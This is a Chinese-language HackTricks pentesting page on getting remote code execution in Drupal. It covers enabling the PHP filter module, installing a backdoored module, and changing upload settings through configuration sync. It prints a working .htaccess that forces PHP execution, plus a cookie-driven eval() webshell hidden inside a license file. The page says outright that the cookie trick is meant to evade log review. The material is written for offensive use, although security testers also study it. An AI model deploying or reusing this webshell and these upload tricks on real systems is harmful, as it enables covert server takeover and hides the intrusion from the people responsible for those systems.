Drupal RCE
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
使用 PHP 过滤器模块
warning
在旧版本的 Drupal (8 之前),可以以管理员身份登录并 启用 PHP filter
模块,该模块“允许嵌入的 PHP 代码/片段被评估。”但从版本 8 开始,该模块默认未安装。
- 访问 /modules/php,如果返回 403 错误,则 PHP 过滤器插件已安装,可以继续
- 如果没有,转到
Modules
并勾选PHP Filter
的框,然后点击Save configuration
- 然后,为了利用它,点击
Add content
,选择Basic Page
或Article
,并编写 PHP 后门,然后在文本格式中选择PHP
代码,最后选择Preview
- 要触发它,只需访问新创建的节点:
curl http://drupal.local/node/3
安装 PHP Filter 模块
warning
在当前版本中,仅通过访问网页在默认安装后安装插件已不再可能。
从 8 版本开始, PHP Filter 模块默认不安装。要利用此功能,我们必须 自己安装模块。
- 从 Drupal 网站下载模块的最新版本。
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- 下载完成后,前往
Administration
>Reports
>Available updates
。 - 点击
Browse
,从我们下载的目录中选择文件,然后点击Install
。 - 模块安装完成后,我们可以点击
Content
并 创建一个新的基本页面,类似于我们在 Drupal 7 示例中所做的。再次确保 从Text format
下拉菜单中选择PHP code
。
后门模块
warning
在当前版本中,仅通过访问网页在默认安装后安装插件已不再可能。
可以 下载 一个 模块,添加一个 后门 并 安装 它。例如,下载 Trurnstile 模块的压缩格式,在其中创建一个新的 PHP 后门文件,允许通过 .htaccess
文件访问 PHP 文件:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
然后访问 http://drupal.local/admin/modules/install
来安装后门模块,并访问 /modules/turnstile/back.php
来执行它。
使用配置同步对Drupal进行后门植入
帖子由 Coiffeur0x90 分享
第1部分(激活 Media 和 Media Library)
在 Extend 菜单 (/admin/modules) 中,您可以激活看似已经安装的插件。默认情况下,插件 Media 和 Media Library 似乎未被激活,因此让我们激活它们。
激活前:
激活后:
第2部分(利用功能 Configuration synchronization)
我们将利用 Configuration synchronization 功能来转储(导出)和上传(导入)Drupal 配置条目:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
补丁 system.file.yml
让我们从补丁第一个条目 allow_insecure_uploads
开始:
文件:system.file.yml
...
allow_insecure_uploads: false
...
到:
文件:system.file.yml
...
allow_insecure_uploads: true
...
修补 field.field.media.document.field_media_document.yml
然后,将第二个条目 file_extensions
从:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
到:
文件:field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
我在这篇博客中没有使用它,但需要注意的是,可以以任意方式定义入口
file_directory
,并且它容易受到路径遍历攻击(因此我们可以在Drupal文件系统树中向上返回)。
第3部分(利用功能 添加文档)
最后一步是最简单的,分为两个子步骤。第一个是上传一个 .htaccess 格式的文件,以利用Apache指令并允许 .txt 文件被PHP引擎解释。第二个是上传一个包含我们有效载荷的 .txt 文件。
文件: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
这个技巧为什么很酷?
因为一旦 Webshell(我们称之为 LICENSE.txt)被放置到 Web 服务器上,我们可以通过 $_COOKIE
传输我们的命令,并且在 Web 服务器日志中,这将显示为对文本文件的合法 GET 请求。
为什么将我们的 Webshell 命名为 LICENSE.txt?
简单来说,如果我们以以下文件为例 core/LICENSE.txt(该文件已经存在于 Drupal 核心中),我们有一个 339 行和 17.6 KB 大小的文件,这非常适合在中间添加一小段 PHP 代码(因为文件足够大)。
文件:已修补的 LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
第 3.1 部分 (上传文件 .htaccess)
首先,我们利用 Add Document (/media/add/document) 功能上传包含 Apache 指令的文件 (.htaccess)。
第 3.2 部分 (上传文件 LICENSE.txt)
然后,我们再次利用 Add Document (/media/add/document) 功能上传隐藏在许可证文件中的 Webshell。
第 4 部分 (与 Webshell 交互)
最后一部分是与 Webshell 进行交互。
如以下截图所示,如果我们的 Webshell 期望的 cookie 未定义,我们在通过 Web 浏览器查询文件时会得到后续结果。
当攻击者设置 cookie 时,他可以与 Webshell 交互并执行任何他想要的命令。
正如您在日志中看到的,似乎只请求了一个 txt 文件。
感谢您花时间阅读这篇文章,希望它能帮助您获取一些 shell。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。